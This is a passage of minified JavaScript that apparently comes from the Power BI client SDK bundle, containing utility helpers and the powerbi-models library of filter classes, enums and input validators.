r=a,!0}),r}function i(t,e){var r=a(t,e);return e[r]}function o(t,e){var r=a(t,e);e.splice(r,1)}function n(){for(var t=[],e=0;e<arguments.length;e++)t[e-0]=arguments[e];var r=t[0];if(void 0===r||null===r)throw new TypeError("Cannot convert undefined or null to object");for(var a=Object(r),i=1;i<arguments.length;i++){var o=arguments[i];if(void 0!==o&&null!==o)for(var n in o)o.hasOwnProperty(n)&&(a[n]=o[n])}return a}function l(){return c().toString(36).substring(1)}function s(){var t=(new Date).getTime();return"undefined"!=typeof performance&&"function"==typeof performance.now&&(t+=performance.now()),"xxxxxxxxxxxxxxxxxxxx".replace(/[xy]/g,function(e){var r=c()%16;return t>>=4,r.toString(16)})}function d(t,e,r){var a=t.indexOf("?")>0?"&":"?";return t+=a+e+"="+r}function u(t,e,r){return t.get("/report/hasUnsavedChanges",{uid:e},r).then(function(t){return!t.body},function(t){throw t.body})}function p(t){return t.toLowerCase().indexOf("/rdlembed?")>=0}function c(){var t=window.crypto||window.msCrypto,e=new Uint32Array(1);return t.getRandomValues(e),e[0]}e.raiseCustomEvent=r,e.findIndex=a,e.find=i,e.remove=o,e.assign=n,e.createRandomString=l,e.generateUUID=s,e.addParamToUrl=d,e.isSavedInternal=u,e.isRDLEmbed=p,e.getRandomValue=c},function(t,e){var r={version:"2.10.3",type:"js"};Object.defineProperty(e,"__esModule",{value:!0}),e["default"]=r},function(t,e,r){/*! powerbi-models v1.3.1 | (c) 2016 Microsoft Corporation MIT */ !function(e,r){t.exports=r()}(this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={exports:{},id:a,loaded:!1};return t[a].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var r={};return e.m=t,e.c=r,e.p="",e(0)}([function(t,e,r){function a(t){return l(t)&&!!t.keys}function i(t){return o(t)===K.Basic&&!!t.keyValues}function o(t){if(t.filterType)return t.filterType;var e=t,r=t;return"string"==typeof e.operator&&Array.isArray(e.values)?K.Basic:"string"==typeof r.logicalOperator&&Array.isArray(r.conditions)?K.Advanced:K.Unknown}function n(t){return void 0!==t.table&&void 0!==t.measure}function l(t){return!(!t.table||!t.column||t.aggregationFunction)}function s(t){return!(!(t.table&&t.hierarchy&&t.hierarchyLevel)||t.aggregationFunction)}function d(t){return!!(t.table&&t.hierarchy&&t.hierarchyLevel&&t.aggregationFunction)}function u(t){return!!(t.table&&t.column&&t.aggregationFunction)}function p(t){var e=t.message;return e||(e=t.path+" is invalid. Not meeting "+t.keyword+" constraint"),{message:e}}function c(t){var r=e.Validators.visualSelectorValidator.validate(t);return r?r.map(p):void 0}function f(t){var r=e.Validators.slicerValidator.validate(t);return r?r.map(p):void 0}function h(t){var r=e.Validators.slicerStateValidator.validate(t);return r?r.map(p):void 0}function v(t){var r=e.Validators.playBookmarkRequestValidator.validate(t);return r?r.map(p):void 0}function y(t){var r=e.Validators.addBookmarkRequestValidator.validate(t);return r?r.map(p):void 0}function m(t){var r=e.Validators.applyBookmarkByNameRequestValidator.validate(t);return r?r.map(p):void 0}function g(t){var r=e.Validators.applyBookmarkStateRequestValidator.validate(t);return r?r.map(p):void 0}function V(t){var r=e.Validators.settingsValidator.validate(t);return r?r.map(p):void 0}function w(t){var r=e.Validators.customPageSizeValidator.validate(t);return r?r.map(p):void 0}function b(t){var r=e.Validators.extensionValidator.validate(t);return r?r.map(p):void 0}function E(t){var r=e.Validators.reportLoadValidator.validate(t);return r?r.map(p):void 0}function S(t){var r=e.Validators.reportCreateValidator.validate(t);return r?r.map(p):void 0}function T(t){var r=e.Validators.dashboardLoadValidator.validate(t);return r?r.map(p):void 0}function O(t){var r=e.Validators.tileLoadValidator.validate(t);return r?r.map(p):void 0}function P(t){var r=e.Validators.pageValidator.validate(t);return r?r.map(p):void 0}function _(t){var r=e.Validators.filtersValidator.validate(t);return r?r.map(p):void 0}function R(t){var r=e.Validators.saveAsParametersValidator.validate(t);return r?r.map(p):void 0}function A(t){var r=e.Validators.loadQnaValidator.validate(t);return r?r.map(p):void 0}function F(t){var r=e.Validators.qnaInterpretInputDataValidator.validate(t);return r?r.map(p):void 0}function C(t){var r=e.Validators.exportDataRequestValidator.validate(t);return r?r.map(p):void 0}function k(t){var r=e.Validators.visualHeaderValidator.validate(t);return r?r.map(p):void 0}function x(t){var r=e.Validators.visualSettingsValidator.validate(t);return r?r.map(p):void 0}function I(t){var r=e.Validators.commandsSettingsValidator.validate(t);return r?r.map(p):void 0}function q(t){var r=e.Validators.customThemeValidator.validate(t);return r?r.map(p):void 0}var M=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0}),e.Validators=r(1).Validators;var L;!function(t){t[t.Information=0]="Information",t[t.Verbose=1]="Verbose",t[t.Warning=2]="Warning",t[t.Error=3]="Error",t[t.ExpectedError=4]="ExpectedError",t[t.UnexpectedError=5]="UnexpectedError",t[t.Fatal=6]="Fatal"}(L=e.TraceType||(e.TraceType={}));var j;!function(t){t[t.Widescreen=0]="Widescreen",t[t.Standard=1]="Standard",t[t.Cortana=2]="Cortana",t[t.Letter=3]="Letter",t[t.Custom=4]="Custom"}(j=e.PageSizeType||(e.PageSizeType={}));var N;!function(t){t[t.FitToPage=0]="FitToPage",t[t.FitToWidth=1]="FitToWidth",t[t.ActualSize=2]="ActualSize"}(N=e.DisplayOption||(e.DisplayOption={}));var D;!function(t){t[t.Default=0]="Default",t[t.Transparent=1]="Transparent"}(D=e.BackgroundType||(e.BackgroundType={}));var U;!function(t){t[t.Visible=0]="Visible",t[t.Hidden=1]="Hidden"}(U=e.VisualContainerDisplayMode||(e.VisualContainerDisplayMode={}));var B;!function(t){t[t.Master=0]="Master",t[t.Custom=1]="Custom",t[t.MobilePortrait=2]="MobilePortrait",t[t.MobileLandscape=3]="MobileLandscape"}(B=e.LayoutType||(e.LayoutType={}));var W;!function(t){t[t.Navigate=0]="Navigate",t[t.NavigateAndRaiseEvent=1]="NavigateAndRaiseEvent",t[t.RaiseEvent=2]="RaiseEvent"}(W=e.HyperlinkClickBehavior||(e.HyperlinkClickBehavior={}));var H;!function(t){t[t.AlwaysVisible=0]="AlwaysVisible",t[t.HiddenInViewMode=1]="HiddenInViewMode"}(H=e.SectionVisibility||(e.SectionVisibility={}));var z;!function(t){t[t.Read=0]="Read",t[t.ReadWrite=1]="ReadWrite",t[t.Copy=2]="Copy",t[t.Create=4]="Create",t[t.All=7]="All"}(z=e.Permissions||(e.Permissions={}));var J;!function(t){t[t.View=0]="View",t[t.Edit=1]="Edit"}(J=e.ViewMode||(e.ViewMode={}));var Y;!function(t){t[t.Aad=0]="Aad",t[t.Embed=1]="Embed"}(Y=e.TokenType||(e.TokenType={}));var Q;!function(t){t[t.None=0]="None",t[t.HighContrast1=1]="HighContrast1",t[t.HighContrast2=2]="HighContrast2",t[t.HighContrastBlack=3]="HighContrastBlack",t[t.HighContrastWhite=4]="HighContrastWhite"}(Q=e.ContrastMode||(e.ContrastMode={}));var G;!function(t){t[t.Bottom=0]="Bottom",t[t.Top=1]="Top"}(G=e.MenuLocation||(e.MenuLocation={}));var $;!function(t){t[t.Report=0]="Report",t[t.Page=1]="Page",t[t.Visual=2]="Visual"}($=e.FiltersLevel||(e.FiltersLevel={}));var K;!function(t){t[t.Advanced=0]="Advanced",t[t.Basic=1]="Basic",t[t.Unknown=2]="Unknown",t[t.IncludeExclude=3]="IncludeExclude",t[t.RelativeDate=4]="RelativeDate",t[t.TopN=5]="TopN",t[t.Tuple=6]="Tuple"}(K=e.FilterType||(e.FilterType={}));var X;!function(t){t[t.Days=0]="Days",t[t.Weeks=1]="Weeks",t[t.CalendarWeeks=2]="CalendarWeeks",t[t.Months=3]="Months",t[t.CalendarMonths=4]="CalendarMonths",t[t.Years=5]="Years",t[t.CalendarYears=6]="CalendarYears"}(X=e.RelativeDateFilterTimeUnit||(e.RelativeDateFilterTimeUnit={}));var Z;!function(t){t[t.InLast=0]="InLast",t[t.InThis=1]="InThis",t[t.InNext=2]="InNext"}(Z=e.RelativeDateOperators||(e.RelativeDateOperators={}));var tt=function(){function t(t,e){this.target=t,this.filterType=e}return t.prototype.toJSON=function(){var t={$schema:this.schemaUrl,target:this.target,filterType:this.filterType};return void 0!==this.displaySettings&&(t.displaySettings=this.displaySettings),t},t}();e.Filter=tt;var et=function(t){function e(r,a,i){var o=t.call(this,r,K.Unknown)||this;return o.message=a,o.notSupportedTypeName=i,o.schemaUrl=e.schemaUrl,o}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.message=this.message,e.notSupportedTypeName=this.notSupportedTypeName,e},e.schemaUrl="http://powerbi.com/product/schema#notSupported",e}(tt);e.NotSupportedFilter=et;var rt=function(t){function e(r,a,i){var o=t.call(this,r,K.IncludeExclude)||this;return o.values=i,o.isExclude=a,o.schemaUrl=e.schemaUrl,o}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.isExclude=this.isExclude,e.values=this.values,e},e.schemaUrl="http://powerbi.com/product/schema#includeExclude",e}(tt);e.IncludeExcludeFilter=rt;var at=function(t){function e(r,a,i,o){var n=t.call(this,r,K.TopN)||this;return n.operator=a,n.itemCount=i,n.schemaUrl=e.schemaUrl,n.orderBy=o,n}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.operator=this.operator,e.itemCount=this.itemCount,e.orderBy=this.orderBy,e},e.schemaUrl="http://powerbi.com/product/schema#topN",e}(tt);e.TopNFilter=at;var it=function(t){function e(r,a,i,o,n){var l=t.call(this,r,K.RelativeDate)||this;return l.operator=a,l.timeUnitsCount=i,l.timeUnitType=o,l.includeToday=n,l.schemaUrl=e.schemaUrl,l}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.operator=this.operator,e.timeUnitsCount=this.timeUnitsCount,e.timeUnitType=this.timeUnitType,e.includeToday=this.includeToday,e},e.schemaUrl="http://powerbi.com/product/schema#relativeDate",e}(tt);e.RelativeDateFilter=it;var ot=function(t){function e(r,a){for(var i=[],o=2;o<arguments.length;o++)i[o-2]=arguments[o];var n=t.call(this,r,K.Basic)||this;if(n.operator=a,n.schemaUrl=e.schemaUrl,0===i.length&&"All"!==a)throw new Error('values must be a non-empty array unless your operator is "All".');return Array.isArray(i[0])?n.values=i[0]:n.values=i,n}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.operator=this.operator,e.values=this.values,e.requiresSingleSelect=!!this.requiresSingleSelect,e},e.schemaUrl="http://powerbi.com/product/schema#basic",e}(tt);e.BasicFilter=ot;var nt=function(t){function e(e,r,a,i){var o=t.call(this,e,r,a)||this;o.keyValues=i,o.target=e;var n=e.keys?e.keys.length:0;if(n>0&&!i)throw new Error("You should pass the values to be filtered for each key. You passed: no values and "+n+" keys");if(0===n&&i&&i.length>0)throw new Error("You passed key values but your target object doesn't contain the keys to be filtered");for(var l=0;l<o.keyValues.length;l++)if(o.keyValues[l]){var s=o.keyValues[l].length;if(s!==n)throw new Error("Each tuple of key values should contain a value for each of the keys. You passed: "+s+" values and "+n+" keys")}return o}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.keyValues=this.keyValues,e},e}(ot);e.BasicFilterWithKeys=nt;var lt=function(t){function e(r,a,i){var o=t.call(this,r,K.Tuple)||this;return o.operator=a,o.schemaUrl=e.schemaUrl,o.values=i,o}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.operator=this.operator,e.values=this.values,e.target=this.target,e},e.schemaUrl="http://powerbi.com/product/schema#tuple",e}(tt);e.TupleFilter=lt;var st=function(t){function e(r,a){for(var i=[],o=2;o<arguments.length;o++)i[o-2]=arguments[o];var n=t.call(this,r,K.Advanced)||this;if(n.schemaUrl=e.schemaUrl,"string"!=typeof a||0===a.length)throw new Error("logicalOperator must be a valid operator, You passed: "+a);n.logicalOperator=a;var l;if(l=Array.isArray(i[0])?i[0]:i,0===l.length)throw new Error("conditions must be a non-empty array. You passed: "+i);if(l.length>2)throw new Error("AdvancedFilters may not have more than two conditions. You passed: "+i.length);if(1===l.length&&"And"!==a)throw new Error('Logical Operator must be "And" when there is only one condition provided');return n.conditions=l,n}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.logicalOperator=this.logicalOperator,e.conditions=this.conditions,e},e.schemaUrl="http://powerbi.com/product/schema#advanced",e}(tt);e.AdvancedFilter=st,e.isFilterKeyColumnsTarget=a,e.isBasicFilterWithKeys=i,e.getFilterType=o,e.isMeasure=n,e.isColumn=l,e.isHierarchyLevel=s,e.isHierarchyLevelAggr=d,e.isColumnAggr=u;var dt;!function(t){t[t.Interactive=0]="Interactive",t[t.ResultOnly=1]="ResultOnly"}(dt=e.QnaMode||(e.QnaMode={}));var ut;!function(t){t[t.Summarized=0]="Summarized",t[t.Underlying=1]="Underlying"}(ut=e.ExportDataType||(e.ExportDataType={}));var pt;!function(t){t[t.Off=0]="Off",t[t.Presentation=1]="Presentation"}(pt=e.BookmarksPlayMode||(e.BookmarksPlayMode={})),e.CommonErrorCodes={TokenExpired:"TokenExpired",NotFound:"PowerBIEntityNotFound",InvalidParameters:"Invalid parameters",LoadReportFailed:"LoadReportFailed",NotAuthorized:"PowerBINotAuthorizedException",FailedToLoadModel:"ExplorationContainer_FailedToLoadModel_DefaultDetails"},e.TextAlignment={Left:"left",Center:"center",Right:"right"},e.LegendPosition={Top:"Top",Bottom:"Bottom",Right:"Right",Left:"Left",TopCenter:"TopCenter",BottomCenter:"BottomCenter",RightCenter:"RightCenter",LeftCenter:"LeftCenter"};var ct;!function(t){t[t.Ascending=1]="Ascending",t[t.Descending=2]="Descending"}(ct=e.SortDirection||(e.SortDirection={}));var ft=function(){function t(t){this.$schema=t}return t.prototype.toJSON=function(){return{$schema:this.$schema}},t}();e.Selector=ft;var ht=function(t){function e(r){var a=t.call(this,e.schemaUrl)||this;return a.pageName=r,a}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.pageName=this.pageName,e},e.schemaUrl="http://powerbi.com/product/schema#pageSelector",e}(ft);e.PageSelector=ht;var vt=function(t){function e(r){var a=t.call(this,e.schemaUrl)||this;return a.visualName=r,a}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.visualName=this.visualName,e},e.schemaUrl="http://powerbi.com/product/schema#visualSelector",e}(ft);e.VisualSelector=vt;var yt=function(t){function e(e){var r=t.call(this,vt.schemaUrl)||this;return r.visualType=e,r}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.visualType=this.visualType,e},e.schemaUrl="http://powerbi.com/product/schema#visualTypeSelector",e}(ft);e.VisualTypeSelector=yt;var mt=function(t){function e(e){var r=t.call(this,vt.schemaUrl)||this;return r.target=e,r}return M(e,t),e.prototype.toJSON=function(){var e=t.prototype.toJSON.call(this);return e.target=this.target,e},e.schemaUrl="http://powerbi.com/product/schema#slicerTargetSelector",e}(ft);e.SlicerTargetSelector=mt;var gt;!function(t){t[t.Enabled=0]="Enabled",t[t.Disabled=1]="Disabled",t[t.Hidden=2]="Hidden"}(gt=e.CommandDisplayOption||(e.CommandDisplayOption={}));var Vt;!function(t){t[t.Grouping=0]="Grouping",t[t.Measure=1]="Measure",t[t.GroupingOrMeasure=2]="GroupingOrMeasure"}(Vt=e.VisualDataRoleKind||(e.VisualDataRoleKind={}));var wt;!function(t){t[t.Measure=0]="Measure",t[t.Grouping=1]="Grouping"}(wt=e.VisualDataRoleKindPreference||(e.VisualDataRoleKindPreference={})),e.validateVisualSelector=c,e.validateSlicer=f,e.validateSlicerState=h,e.validatePlayBookmarkRequest=v,e.validateAddBookmarkRequest=y,e.validateApplyBookmarkByNameRequest=m,e.validateApplyBookmarkStateRequest=g,e.validateSettings=V,e.validateCustomPageSize=w,e.validateExtension=b,e.validateReportLoad=E,e.validateCreateReport=S,e.validateDashboardLoad=T,e.validateTileLoad=O,e.validatePage=P,e.validateFilter=_,e.validateSaveAsParameters=R,e.validateLoadQnaConfiguration=A,e.validateQnaInterpretInputData=F,e.validateExportDataRequest=C,e.validateVisualHeader=k,e.validateVisualSettings=x,e.validateCommandsSettings=I,e.validateCustomTheme=q},function(t,e,r){Object.defineProperty(e,"__esModule",{value:!0});var a=r(2),i=r(3),o=r(5),n=r(6),l=r(7),s=r(8),d=r(9),u=r(10),p=r(11),c=r(12),f=r(13),h=r(14),v=r(15),y=r(16),m=r(17),g=r(18),V=r(19),w=r(20),b=r(21),E=r(22),S=r(23),T=r(24),O=r(25);e.Validators={addBookmarkRequestValidator:new n.AddBookmarkRequestValidator,advancedFilterTypeValidator:new a.EnumValidator([0]),advancedFilterValidator:new l.AdvancedFilterValidator,anyArrayValidator:new a.ArrayValidator([new d.AnyOfValidator([new a.StringValidator,new a.NumberValidator,new a.BooleanValidator])]),anyFilterValidator:new d.AnyOfValidator([new l.BasicFilterValidator,new l.AdvancedFilterValidator,new l.IncludeExcludeFilterValidator,new l.NotSupportedFilterValidator,new l.RelativeDateFilterValidator,new l.TopNFilterValidator]),anyValueValidator:new d.AnyOfValidator([new a.StringValidator,new a.NumberValidator,new a.BooleanValidator]),applyBookmarkByNameRequestValidator:new n.ApplyBookmarkByNameRequestValidator,applyBookmarkStateRequestValidator:new n.ApplyBookmarkStateRequestValidator,applyBookmarkValidator:new d.AnyOfValidator([new n.ApplyBookmarkByNameRequestValidator,new n.ApplyBookmarkStateRequestValidator]),backgroundValidator:new a.EnumValidator([0,1]),basicFilterTypeValidator:new a.EnumValidator([1]),basicFilterValidator:new l.BasicFilterValidator,booleanArrayValidator:new a.BooleanArrayValidator,booleanValidator:new a.BooleanValidator,commandDisplayOptionValidator:new a.EnumValidator([0,1,2]),commandExtensionSelectorValidator:new d.AnyOfValidator([new w.VisualSelectorValidator,new w.VisualTypeSelectorValidator]),commandExtensionValidator:new i.CommandExtensionValidator,commandsSettingsArrayValidator:new a.ArrayValidator([new S.CommandsSettingsValidator]),commandsSettingsValidator:new S.CommandsSettingsValidator,conditionItemValidator:new l.ConditionItemValidator,contrastModeValidator:new a.EnumValidator([0,1,2,3,4]),customLayoutDisplayOptionValidator:new a.EnumValidator([0,1,2]),customLayoutValidator:new g.CustomLayoutValidator,customPageSizeValidator:new h.CustomPageSizeValidator,customThemeValidator:new T.CustomThemeValidator,dashboardLoadValidator:new c.DashboardLoadValidator,datasetBindingValidator:new O.DatasetBindingValidator,displayStateModeValidator:new a.EnumValidator([0,1]),displayStateValidator:new g.DisplayStateValidator,exportDataRequestValidator:new V.ExportDataRequestValidator,extensionArrayValidator:new a.ArrayValidator([new i.ExtensionValidator]),extensionPointsValidator:new i.ExtensionPointsValidator,extensionValidator:new i.ExtensionValidator,fieldRequiredValidator:new s.FieldRequiredValidator,filterColumnTargetValidator:new l.FilterColumnTargetValidator,filterConditionsValidator:new a.ArrayValidator([new l.ConditionItemValidator]),filterHierarchyTargetValidator:new l.FilterHierarchyTargetValidator,filterMeasureTargetValidator:new l.FilterMeasureTargetValidator,filterTargetValidator:new d.AnyOfValidator([new l.FilterColumnTargetValidator,new l.FilterHierarchyTargetValidator,new l.FilterMeasureTargetValidator]),filtersArrayValidator:new a.ArrayValidator([new d.AnyOfValidator([new l.BasicFilterValidator,new l.AdvancedFilterValidator,new l.RelativeDateFilterValidator])]),filtersValidator:new l.FilterValidator,hyperlinkClickBehaviorValidator:new a.EnumValidator([0,1,2]),includeExcludeFilterValidator:new l.IncludeExcludeFilterValidator,includeExludeFilterTypeValidator:new a.EnumValidator([3]),layoutTypeValidator:new a.EnumValidator([0,1,2,3]),loadQnaValidator:new v.LoadQnaValidator,menuExtensionValidator:new i.MenuExtensionValidator,menuLocationValidator:new a.EnumValidator([0,1]),notSupportedFilterTypeValidator:new a.EnumValidator([2]),notSupportedFilterValidator:new l.NotSupportedFilterValidator,numberArrayValidator:new a.NumberArrayValidator,numberValidator:new a.NumberValidator,pageLayoutValidator:new m.MapValidator([new a.StringValidator],[new g.VisualLayoutValidator]),pageSizeTypeValidator:new a.EnumValidator([0,1,2,3,4,5]),pageSizeValidator:new h.PageSizeValidator,pageValidator:new h.PageValidator,pageViewFieldValidator:new h.PageViewFieldValidator,pagesLayoutValidator:new m.MapValidator([new a.StringValidator],[new g.PageLayoutValidator]),permissionsValidator:new a.EnumValidator([0,1,2,4,7]),playBookmarkRequestValidator:new n.PlayBookmarkRequestValidator,qnaInterpretInputDataValidator:new v.QnaInterpretInputDataValidator,qnaSettingValidator:new v.QnaSettingsValidator,relativeDateFilterOperatorValidator:new a.EnumValidator([0,1,2]),relativeDateFilterTimeUnitTypeValidator:new a.EnumValidator([0,1,2,3,4,5,6]),relativeDateFilterTypeValidator:new a.EnumValidator([4]),relativeDateFilterValidator:new l.RelativeDateFilterValidator,reportCreateValidator:new p.ReportCreateValidator,reportLoadValidator:new u.ReportLoadValidator,saveAsParametersValidator:new y.SaveAsParametersValidator,settingsValidator:new o.SettingsValidator,singleCommandSettingsValidator:new S.SingleCommandSettingsValidator,slicerSelectorValidator:new d.AnyOfValidator([new w.VisualSelectorValidator,new w.SlicerTargetSelectorValidator]),slicerStateValidator:new b.SlicerStateValidator,slicerTargetValidator:new d.AnyOfValidator([new l.FilterColumnTargetValidator,new l.FilterHierarchyTargetValidator,new l.FilterMeasureTargetValidator,new l.FilterKeyColumnsTargetValidator,new l.FilterKeyHierarchyTargetValidator]),slicerValidator:new b.SlicerValidator,stringArrayValidator:new a.StringArrayValidator,stringValidator:new a.StringValidator,tileLoadValidator:new f.TileLoadValidator,tokenTypeValidator:new a.EnumValidator([0,1]),topNFilterTypeValidator:new a.EnumValidator([5]),topNFilterValidator:new l.TopNFilterValidator,viewModeValidator:new a.EnumValidator([0,1]),visualCommandSelectorValidator:new d.AnyOfValidator([new w.VisualSelectorValidator,new w.VisualTypeSelectorValidator]),visualHeaderSelectorValidator:new d.AnyOfValidator([new w.VisualSelectorValidator,new w.VisualTypeSelectorValidator]),visualHeaderSettingsValidator:new E.VisualHeaderSettingsValidator,visualHeaderValidator:new E.VisualHeaderValidator,visualHeadersValidator:new a.ArrayValidator([new E.VisualHeaderValidator]),visualLayoutValidator:new g.VisualLayoutValidator,visualSelectorValidator:new w.VisualSelectorValidator,visualSettingsValidator:new E.VisualSettingsValidator,visualTypeSelectorValidator:new w.VisualTypeSelectorValidator}},function(t,e){var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var a=function(){function t(){}return t.prototype.validate=function(t,e,r){return null==t?null:"object"!=typeof t||Array.isArray(t)?[{message:void 0!==r?r+" must be an object":"input must be an object",path:e,keyword:"type"}]:null},t}();e.ObjectValidator=a;var i=function(){function t(t){this.itemValidators=t}return t.prototype.validate=function(t,e,r){if(null==t)return null;if(!Array.isArray(t))return[{message:r+" property is invalid",path:(e?e+".":"")+r,keyword:"type"}];for(var a=0;a<t.length;a++)for(var i=(e?e+".":"")+r+"."+a,o=0,n=this.itemValidators;o<n.length;o++){var l=n[o],s=l.validate(t[a],i,r);if(s)return[{message:r+" property is invalid",path:(e?e+".":"")+r,keyword:"type"}]}return null},t}();e.ArrayValidator=i;var o=function(){function t(t){this.expectedType=t}return t.prototype.validate=function(t,e,r){return null==t?null:typeof t!==this.expectedType?[{message:r+" must be a "+this.expectedType,path:(e?e+".":"")+r,keyword:"type"}]:null},t}();e.TypeValidator=o;var n=function(t){function e(){return t.call(this,"string")||this}return r(e,t),e}(o);e.StringValidator=n;var l=function(t){function e(){return t.call(this,"boolean")||this}return r(e,t),e}(o);e.BooleanValidator=l;var s=function(t){function e(){return t.call(this,"number")||this}return r(e,t),e}(o);e.NumberValidator=s;var d=function(){function t(t){this.possibleValues=t}return t.prototype.validate=function(t,e,r){return null==t?null:this.possibleValues.indexOf(t)<0?[{message:r+" property is invalid",path:(e?e+".":"")+r,keyword:"invalid"}]:null},t}();e.ValueValidator=d;var u=function(t){function e(e){var r=t.call(this,[e])||this;return r.schemaValue=e,r}return r(e,t),e.prototype.validate=function(e,r,a){return t.prototype.validate.call(this,e,r,a)},e}(d);e.SchemaValidator=u;var p=function(t){function e(e){var r=t.call(this)||this;return r.possibleValues=e,r}return r(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var i=t.prototype.validate.call(this,e,r,a);if(i)return i;var o=new d(this.possibleValues);return o.validate(e,r,a)},e}(s);e.EnumValidator=p;var c=function(t){function e(){return t.call(this,[new n])||this}return r(e,t),e.prototype.validate=function(e,r,a){var i=t.prototype.validate.call(this,e,r,a);return i?[{message:a+" must be an array of strings",path:(r?r+".":"")+a,keyword:"type"}]:null},e}(i);e.StringArrayValidator=c;var f=function(t){function e(){return t.call(this,[new l])||this}return r(e,t),e.prototype.validate=function(e,r,a){var i=t.prototype.validate.call(this,e,r,a);return i?[{message:a+" must be an array of booleans",path:(r?r+".":"")+a,keyword:"type"}]:null},e}(i);e.BooleanArrayValidator=f;var h=function(t){function e(){return t.call(this,[new s])||this}return r(e,t),e.prototype.validate=function(e,r,a){var i=t.prototype.validate.call(this,e,r,a);return i?[{message:a+" must be an array of numbers",path:(r?r+".":"")+a,keyword:"type"}]:null},e}(i);e.NumberArrayValidator=h},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"title",validators:[i.Validators.stringValidator]},{field:"icon",validators:[i.Validators.stringValidator]},{field:"menuLocation",validators:[i.Validators.menuLocationValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.MenuExtensionValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"visualContextMenu",validators:[i.Validators.menuExtensionValidator]},{field:"visualOptionsMenu",validators:[i.Validators.menuExtensionValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ExtensionPointsValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"name",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"extend",validators:[i.Validators.fieldRequiredValidator,i.Validators.extensionPointsValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ExtensionItemValidator=d;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"title",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]},{field:"icon",validators:[i.Validators.stringValidator]},{field:"selector",validators:[i.Validators.commandExtensionSelectorValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(d);e.CommandExtensionValidator=u;var p=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"command",validators:[i.Validators.commandExtensionValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.ExtensionValidator=p},function(t,e){Object.defineProperty(e,"__esModule",{value:!0});var r=function(){function t(t){this.fieldValidatorsPairs=t}return t.prototype.validate=function(t,e,r){if(!this.fieldValidatorsPairs)return null;for(var a=e?e+"."+r:r,i=0,o=this.fieldValidatorsPairs;i<o.length;i++)for(var n=o[i],l=0,s=n.validators;l<s.length;l++){var d=s[l],u=d.validate(t[n.field],a,n.field);if(u)return u}return null},t}();e.MultipleFieldsValidator=r},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var 